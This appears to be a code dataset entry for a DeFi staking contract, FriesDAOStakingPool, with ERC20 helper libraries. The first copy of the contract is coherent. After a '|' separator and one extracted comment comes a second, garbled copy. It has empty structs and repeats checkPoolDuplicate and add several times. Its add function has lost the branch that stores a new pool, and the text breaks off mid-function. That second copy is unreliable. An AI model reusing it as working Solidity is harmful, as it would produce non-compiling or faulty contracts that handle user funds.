* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Note that this pool has no minter key of KCHUP (rewards).
// Instead, the governance will call KCHUP distributeReward method and send reward to this pool at the beginning.
contract FriesDAOStakingPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Kchups to distribute in the pool.
uint256 lastRewardTime; // Last time that Kchups distribution occurred.
uint256 accKchupPerShare; // Accumulated Kchups per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public kchup;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when KCHUP mining starts.
uint256 public poolStartTime;
uint256[] public epochTotalRewards = [
49521739.29 ether,
45888889.29 ether,
42528503.04 ether,
39420145.76 ether,
36544915.27 ether,
33885327.07 ether,
31425207.99 ether,
29149597.84 ether,
27044658.44 ether,
25097589.51 ether,
23296550.74 ether,
21630589.88 ether,
20089576.09 ether,
18664138.33 ether,
17345608.40 ether,
16125968.22 ether,
14997801.05 ether,
13954246.41 ether,
12988958.38 ether,
12096066.95 ether,
11270142.37 ether,
10506162.14 ether,
9799480.43 ether,
9145799.84 ether,
8541145.30 ether,
7981839.85 ether,
7464482.31 ether,
6985926.58 ether,
6543262.53 ether,
6133798.29 ether,
5755043.86 ether,
5404696.02 ether,
5080624.27 ether,
4780857.89 ether,
4503574.00 ether,
4247086.39 ether
];
// Time when each epoch ends.
uint256[37] public epochEndTimes;
// Reward per second for each of 2 epochs (last item is equal to 0 - for sanity).
uint256[37] public epochKchupPerSecond;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _kchup, uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_kchup != address(0)) kchup = IERC20(_kchup);
poolStartTime = _poolStartTime;
epochEndTimes[0] = poolStartTime + 30 days;
epochEndTimes[1] = poolStartTime + 60 days;
epochEndTimes[2] = poolStartTime + 90 days;
epochEndTimes[3] = poolStartTime + 120 days;
epochEndTimes[4] = poolStartTime + 150 days;
epochEndTimes[5] = poolStartTime + 180 days;
epochEndTimes[6] = poolStartTime + 210 days;
epochEndTimes[7] = poolStartTime + 240 days;
epochEndTimes[8] = poolStartTime + 270 days;
epochEndTimes[9] = poolStartTime + 300 days;
epochEndTimes[10] = poolStartTime + 330 days;
epochEndTimes[11] = poolStartTime + 360 days;
epochEndTimes[12] = poolStartTime + 390 days;
epochEndTimes[13] = poolStartTime + 420 days;
epochEndTimes[14] = poolStartTime + 450 days;
epochEndTimes[15] = poolStartTime + 480 days;
epochEndTimes[16] = poolStartTime + 510 days;
epochEndTimes[17] = poolStartTime + 540 days;
epochEndTimes[18] = poolStartTime + 570 days;
epochEndTimes[19] = poolStartTime + 600 days;
epochEndTimes[20] = poolStartTime + 630 days;
epochEndTimes[21] = poolStartTime + 660 days;
epochEndTimes[22] = poolStartTime + 690 days;
epochEndTimes[23] = poolStartTime + 720 days;
epochEndTimes[24] = poolStartTime + 750 days;
epochEndTimes[25] = poolStartTime + 780 days;
epochEndTimes[26] = poolStartTime + 810 days;
epochEndTimes[27] = poolStartTime + 840 days;
epochEndTimes[28] = poolStartTime + 870 days;
epochEndTimes[29] = poolStartTime + 900 days;
epochEndTimes[30] = poolStartTime + 930 days;
epochEndTimes[31] = poolStartTime + 960 days;
epochEndTimes[32] = poolStartTime + 990 days;
epochEndTimes[33] = poolStartTime + 1020 days;
epochEndTimes[34] = poolStartTime + 1050 days;
epochEndTimes[35] = poolStartTime + 1080 days;
epochKchupPerSecond[0] = epochTotalRewards[0].div(30 days);
epochKchupPerSecond[1] = epochTotalRewards[1].div(30 days);
epochKchupPerSecond[2] = epochTotalRewards[2].div(30 days);
epochKchupPerSecond[3] = epochTotalRewards[3].div(30 days);
epochKchupPerSecond[4] = epochTotalRewards[4].div(30 days);
epochKchupPerSecond[5] = epochTotalRewards[5].div(30 days);
epochKchupPerSecond[6] = epochTotalRewards[6].div(30 days);
epochKchupPerSecond[7] = epochTotalRewards[7].div(30 days);
epochKchupPerSecond[8] = epochTotalRewards[8].div(30 days);
epochKchupPerSecond[9] = epochTotalRewards[9].div(30 days);
epochKchupPerSecond[10] = epochTotalRewards[10].div(30 days);
epochKchupPerSecond[11] = epochTotalRewards[11].div(30 days);
epochKchupPerSecond[12] = epochTotalRewards[12].div(30 days);
epochKchupPerSecond[13] = epochTotalRewards[13].div(30 days);
epochKchupPerSecond[14] = epochTotalRewards[14].div(30 days);
epochKchupPerSecond[15] = epochTotalRewards[15].div(30 days);
epochKchupPerSecond[16] = epochTotalRewards[16].div(30 days);
epochKchupPerSecond[17] = epochTotalRewards[17].div(30 days);
epochKchupPerSecond[18] = epochTotalRewards[18].div(30 days);
epochKchupPerSecond[19] = epochTotalRewards[19].div(30 days);
epochKchupPerSecond[20] = epochTotalRewards[20].div(30 days);
epochKchupPerSecond[21] = epochTotalRewards[21].div(30 days);
epochKchupPerSecond[22] = epochTotalRewards[22].div(30 days);
epochKchupPerSecond[23] = epochTotalRewards[23].div(30 days);
epochKchupPerSecond[24] = epochTotalRewards[24].div(30 days);
epochKchupPerSecond[25] = epochTotalRewards[25].div(30 days);
epochKchupPerSecond[26] = epochTotalRewards[26].div(30 days);
epochKchupPerSecond[27] = epochTotalRewards[27].div(30 days);
epochKchupPerSecond[28] = epochTotalRewards[28].div(30 days);
epochKchupPerSecond[29] = epochTotalRewards[29].div(30 days);
epochKchupPerSecond[30] = epochTotalRewards[30].div(30 days);
epochKchupPerSecond[31] = epochTotalRewards[31].div(30 days);
epochKchupPerSecond[32] = epochTotalRewards[32].div(30 days);
epochKchupPerSecond[33] = epochTotalRewards[33].div(30 days);
epochKchupPerSecond[34] = epochTotalRewards[34].div(30 days);
epochKchupPerSecond[35] = epochTotalRewards[35].div(30 days);
epochKchupPerSecond[36] = 0;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "FriesDAOStakingPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "FriesDAOStakingPool: existing pool?");
}
}
// Add a new token to the pool. Can only be called by the owner.
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime
) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({token: _token, allocPoint: _allocPoint, lastRewardTime: _lastRewardTime, accKchupPerShare: 0, isStarted: _isStarted}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's KCHUP allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _fromTime to _toTime.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
for (uint8 epochId = 36; epochId >= 1; --epochId) {
if (_toTime >= epochEndTimes[epochId - 1]) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[epochId]);
}
uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]);
if (epochId == 1) {
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochKchupPerSecond[epochId]));
}
_generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochKchupPerSecond[epochId]));
}
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochKchupPerSecond[0]));
}
}
return _toTime.sub(_fromTime).mul(epochKchupPerSecond[0]);
}
// View function to see pending KCHUPs on frontend.
function pendingKCHUP(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accKchupPerShare = pool.accKchupPerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kchupReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accKchupPerShare = accKchupPerShare.add(_kchupReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accKchupPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Expensive!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kchupReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accKchupPerShare = pool.accKchupPerShare.add(_kchupReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accKchupPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKchupTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accKchupPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accKchupPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKchupTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accKchupPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe kchup transfer function, just in case if rounding error causes pool to not have enough Kchups.
function safeKchupTransfer(address _to, uint256 _amount) internal {
uint256 _kchupBal = kchup.balanceOf(address(this));
if (_kchupBal > 0) {
if (_amount > _kchupBal) {
kchup.safeTransfer(_to, _kchupBal);
} else {
kchup.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(
IERC20 _token,
uint256 amount,
address to
) external onlyOperator {
if (block.timestamp < epochEndTimes[1] + 30 days) {
// do not allow to drain token if less than 30 days after farming
require(_token != kchup, "!kchup");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "!pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
|
Note that this pool has no minter key of KCHUP (rewards). Instead, the governance will call KCHUP distributeReward method and send reward to this pool at the beginning. governance Info of each user.
|
contract FriesDAOStakingPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public operator;
struct UserInfo {
}
struct PoolInfo {
}
IERC20 public kchup;
uint256[] public epochTotalRewards = [
49521739.29 ether,
45888889.29 ether,
42528503.04 ether,
39420145.76 ether,
36544915.27 ether,
33885327.07 ether,
31425207.99 ether,
29149597.84 ether,
27044658.44 ether,
25097589.51 ether,
23296550.74 ether,
21630589.88 ether,
20089576.09 ether,
18664138.33 ether,
17345608.40 ether,
16125968.22 ether,
14997801.05 ether,
13954246.41 ether,
12988958.38 ether,
12096066.95 ether,
11270142.37 ether,
10506162.14 ether,
9799480.43 ether,
9145799.84 ether,
8541145.30 ether,
7981839.85 ether,
7464482.31 ether,
6985926.58 ether,
6543262.53 ether,
6133798.29 ether,
5755043.86 ether,
5404696.02 ether,
5080624.27 ether,
4780857.89 ether,
4503574.00 ether,
4247086.39 ether
];
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
PoolInfo[] public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public poolStartTime;
uint256[37] public epochEndTimes;
uint256[37] public epochKchupPerSecond;
constructor(address _kchup, uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_kchup != address(0)) kchup = IERC20(_kchup);
poolStartTime = _poolStartTime;
epochEndTimes[0] = poolStartTime + 30 days;
epochEndTimes[1] = poolStartTime + 60 days;
epochEndTimes[2] = poolStartTime + 90 days;
epochEndTimes[3] = poolStartTime + 120 days;
epochEndTimes[4] = poolStartTime + 150 days;
epochEndTimes[5] = poolStartTime + 180 days;
epochEndTimes[6] = poolStartTime + 210 days;
epochEndTimes[7] = poolStartTime + 240 days;
epochEndTimes[8] = poolStartTime + 270 days;
epochEndTimes[9] = poolStartTime + 300 days;
epochEndTimes[10] = poolStartTime + 330 days;
epochEndTimes[11] = poolStartTime + 360 days;
epochEndTimes[12] = poolStartTime + 390 days;
epochEndTimes[13] = poolStartTime + 420 days;
epochEndTimes[14] = poolStartTime + 450 days;
epochEndTimes[15] = poolStartTime + 480 days;
epochEndTimes[16] = poolStartTime + 510 days;
epochEndTimes[17] = poolStartTime + 540 days;
epochEndTimes[18] = poolStartTime + 570 days;
epochEndTimes[19] = poolStartTime + 600 days;
epochEndTimes[20] = poolStartTime + 630 days;
epochEndTimes[21] = poolStartTime + 660 days;
epochEndTimes[22] = poolStartTime + 690 days;
epochEndTimes[23] = poolStartTime + 720 days;
epochEndTimes[24] = poolStartTime + 750 days;
epochEndTimes[25] = poolStartTime + 780 days;
epochEndTimes[26] = poolStartTime + 810 days;
epochEndTimes[27] = poolStartTime + 840 days;
epochEndTimes[28] = poolStartTime + 870 days;
epochEndTimes[29] = poolStartTime + 900 days;
epochEndTimes[30] = poolStartTime + 930 days;
epochEndTimes[31] = poolStartTime + 960 days;
epochEndTimes[32] = poolStartTime + 990 days;
epochEndTimes[33] = poolStartTime + 1020 days;
epochEndTimes[34] = poolStartTime + 1050 days;
epochEndTimes[35] = poolStartTime + 1080 days;
epochKchupPerSecond[0] = epochTotalRewards[0].div(30 days);
epochKchupPerSecond[1] = epochTotalRewards[1].div(30 days);
epochKchupPerSecond[2] = epochTotalRewards[2].div(30 days);
epochKchupPerSecond[3] = epochTotalRewards[3].div(30 days);
epochKchupPerSecond[4] = epochTotalRewards[4].div(30 days);
epochKchupPerSecond[5] = epochTotalRewards[5].div(30 days);
epochKchupPerSecond[6] = epochTotalRewards[6].div(30 days);
epochKchupPerSecond[7] = epochTotalRewards[7].div(30 days);
epochKchupPerSecond[8] = epochTotalRewards[8].div(30 days);
epochKchupPerSecond[9] = epochTotalRewards[9].div(30 days);
epochKchupPerSecond[10] = epochTotalRewards[10].div(30 days);
epochKchupPerSecond[11] = epochTotalRewards[11].div(30 days);
epochKchupPerSecond[12] = epochTotalRewards[12].div(30 days);
epochKchupPerSecond[13] = epochTotalRewards[13].div(30 days);
epochKchupPerSecond[14] = epochTotalRewards[14].div(30 days);
epochKchupPerSecond[15] = epochTotalRewards[15].div(30 days);
epochKchupPerSecond[16] = epochTotalRewards[16].div(30 days);
epochKchupPerSecond[17] = epochTotalRewards[17].div(30 days);
epochKchupPerSecond[18] = epochTotalRewards[18].div(30 days);
epochKchupPerSecond[19] = epochTotalRewards[19].div(30 days);
epochKchupPerSecond[20] = epochTotalRewards[20].div(30 days);
epochKchupPerSecond[21] = epochTotalRewards[21].div(30 days);
epochKchupPerSecond[22] = epochTotalRewards[22].div(30 days);
epochKchupPerSecond[23] = epochTotalRewards[23].div(30 days);
epochKchupPerSecond[24] = epochTotalRewards[24].div(30 days);
epochKchupPerSecond[25] = epochTotalRewards[25].div(30 days);
epochKchupPerSecond[26] = epochTotalRewards[26].div(30 days);
epochKchupPerSecond[27] = epochTotalRewards[27].div(30 days);
epochKchupPerSecond[28] = epochTotalRewards[28].div(30 days);
epochKchupPerSecond[29] = epochTotalRewards[29].div(30 days);
epochKchupPerSecond[30] = epochTotalRewards[30].div(30 days);
epochKchupPerSecond[31] = epochTotalRewards[31].div(30 days);
epochKchupPerSecond[32] = epochTotalRewards[32].div(30 days);
epochKchupPerSecond[33] = epochTotalRewards[33].div(30 days);
epochKchupPerSecond[34] = epochTotalRewards[34].div(30 days);
epochKchupPerSecond[35] = epochTotalRewards[35].div(30 days);
epochKchupPerSecond[36] = 0;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "FriesDAOStakingPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "FriesDAOStakingPool: existing pool?");
}
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "FriesDAOStakingPool: existing pool?");
}
}
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime
) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime
) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime
) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
if (_isStarted) {
